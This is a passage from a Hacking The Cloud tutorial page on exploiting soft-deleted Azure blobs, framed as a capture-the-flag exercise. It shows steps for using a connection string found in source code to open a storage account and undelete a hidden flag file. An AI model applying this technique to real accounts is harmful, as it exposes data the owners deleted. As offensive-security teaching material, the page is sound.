paste the value of the conn_str variable that we found in the source code, and connect:</p> <p><a class=glightbox href=../../images/azure/soft-deleted-blobs/image-10.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="Connection info" src=../../images/azure/soft-deleted-blobs/image-10.png></a></p> <p>On the left side menu, a new storage account should show up. Navigate to the Blob Containers -&gt; images and open it:</p> <p><a class=glightbox href=../../images/azure/soft-deleted-blobs/image-11.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt=Container src=../../images/azure/soft-deleted-blobs/image-11.png></a></p> <p>At first glance, it seems that nothing of interest is stored here. Remember the flag that we accidentally uploaded? Change the view to Active and soft deleted blobs:</p> <p><a class=glightbox href=../../images/azure/soft-deleted-blobs/image-12.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt=Files src=../../images/azure/soft-deleted-blobs/image-12.png></a></p> <p>And voila! Right click -&gt; Undelete</p> <p><a class=glightbox href=../../images/azure/soft-deleted-blobs/image-13.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt=Flag src=../../images/azure/soft-deleted-blobs/image-13.png></a></p> <aside class=md-source-file> <span class=md-source-file__fact> <span class=md-icon title="Last update"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M21 13.1c-.1 0-.3.1-.4.2l-1 1 2.1 2.1 1-1c.2-.2.2-.6 0-.8l-1.3-1.3c-.1-.1-.2-.2-.4-.2m-1.9 1.8-6.1 6V23h2.1l6.1-6.1zM12.5 7v5.2l4 2.4-1 1L11 13V7zM11 21.9c-5.1-.5-9-4.8-9-9.9C2 6.5 6.5 2 12 2c5.3 0 9.6 4.1 10 9.3-.3-.1-.6-.2-1-.2s-.7.1-1 .2C19.6 7.2 16.2 4 12 4c-4.4 0-8 3.6-8 8 0 4.1 3.1 7.5 7.1 7.9l-.1.2z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">March 7, 2024</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Created> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M14.47 15.08 11 13V7h1.5v5.25l3.08 1.83c-.41.28-.79.62-1.11 1m-1.39 4.84c-.36.05-.71.08-1.08.08-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8c0 .37-.03.72-.08 1.08.69.1 1.33.32 1.92.64.1-.56.16-1.13.16-1.72 0-5.5-4.5-10-10-10S2 6.5 2 12s4.47 10 10 10c.59 0 1.16-.06 1.72-.16-.32-.59-.54-1.23-.64-1.92M18 15v3h-3v2h3v3h2v-3h3v-2h-3v-3z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">March 17, 2022</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Contributors> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 2A10 10 0 0 0 2 12c0 4.42 2.87 8.17 6.84 9.5.5.08.66-.23.66-.5v-1.69c-2.77.6-3.36-1.34-3.36-1.34-.46-1.16-1.11-1.47-1.11-1.47-.91-.62.07-.6.07-.6 1 .07 1.53 1.03 1.53 1.03.87 1.52 2.34 1.07 2.91.83.09-.65.35-1.09.63-1.34-2.22-.25-4.55-1.11-4.55-4.92 0-1.11.38-2 1.03-2.71-.1-.25-.45-1.29.1-2.64 0 0 .84-.27 2.75 1.02.79-.22 1.65-.33 2.5-.33s1.71.11 2.5.33c1.91-1.29 2.75-1.02 2.75-1.02.55 1.35.2 2.39.1 2.64.65.71 1.03 1.6 1.03 2.71 0 3.82-2.34 4.66-4.57 4.91.36.31.69.92.69 1.85V21c0 .27.16.59.67.5C19.14 20.16 22 16.42 22 12A10 10 0 0 0 12 2"/></svg> </span> <span>GitHub</span> <nav> <a href=https://github.com/Frichetten class=md-author title=@Frichetten> <img src="https://avatars.githubusercontent.com/u/10386884?v=4&size=72" alt=Frichetten> </a> <a href=https://github.com/andrei8055 class=md-author title=@andrei8055> <img src="https://avatars.githubusercontent.com/u/5831889?v=4&size=72" alt=andrei8055> </a> <a href=https://github.com/web-flow class=md-author title=@web-flow> <img src="https://avatars.githubusercontent.com/u/19864447?v=4&size=72" alt=web-flow> </a> </nav> </span> </aside> </article> </div> <script>var target=document.getElementById(location.hash.slice(1));target&&target.name&&(target.checked=target.name.startsWith("__tabbed_"))</script> </div> </main> <footer class=md-footer> <div class="md-footer-meta md-typeset"> <div class="md-footer-meta__inner md-grid"> <div class=md-copyright> Made with <a href=https://squidfunk.github.io/mkdocs-material/ target=_blank rel=noopener> Material for MkDocs Insiders </a> </div> <div class=md-social> <a href=https://infosec.exchange/@hackingthecloud target=_blank rel="noopener me" title=infosec.exchange class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.5 102.5 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5m-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z"/></svg> </a> <a href=https://bsky.app/profile/hackingthe.cloud target=_blank rel=noopener title=bsky.app class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </a> <a href=https://x.com/HackingthCloud target=_blank rel=noopener title=x.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253"/></svg> </a> <a href=https://www.linkedin.com/company/hacking-the-cloud/ target=_blank rel=noopener title=www.linkedin.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3M135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5m282.1 243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9z"/></svg> </a> <a href=https://github.com/Hacking-the-Cloud target=_blank rel=noopener title=github.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </a> <a href=https://hackingthe.cloud/feed_rss_created.xml target=_blank rel=noopener title=hackingthe.cloud class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M0 64c0-17.7 14.3-32 32-32 229.8 0 416 186.2 416 416 0 17.7-14.3 32-32 32s-32-14.3-32-32C384 253.6 226.4 96 32 96 14.3 96 0 81.7 0 64m0 352a64 64 0 1 1 128 0 64 64 0 1 1-128 0m32-256c159.1 0 288 128.9 288 288 0 17.7-14.3 32-32 32s-32-14.3-32-32c0-123.7-100.3-224-224-224-17.7 0-32-14.3-32-32s14.3-32 32-32"/></svg> </a> </div> </div> </div> </footer> </div> <div class=md-dialog data-md-component=dialog> <div class="md-dialog__inner md-typeset"></div> </div> <script id=__config type=application/json>{"base": "../..", "features": ["navigation.tabs", "navigation.indexes", "content.action.edit"], "search": "../../assets/javascripts/workers/search.c7c1ca2c.min.js", "translations": {"clipboard.copied": "Copied to clipboard", "clipboard.copy": "Copy to clipboard", "search.result.more.one": "1 more on this page", "search.result.more.other": "# more on this page", "search.result.none": "No matching documents", "search.result.one": "1 matching document", "search.result.other": "# matching documents", "search.result.placeholder": "Type to start searching", "search.result.term.missing": "Missing", "select.version": "Select version"}}</script> <script src=../../assets/javascripts/bundle.203fd0bc.min.js></script> <script src=../../javascripts/matomo.min.js></script> <script id="init-glightbox">const lightbox = GLightbox({"touchNavigation": true, "loop": false, "zoomable": true, "draggable": true, "openEffect": "zoom", "closeEffect": "zoom", "slideEffect": "slide"});
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#exploiting-soft-deleted-blobs class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Soft Deleted Blobs </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class=md-tabs__item> <a href=../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex=0> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title 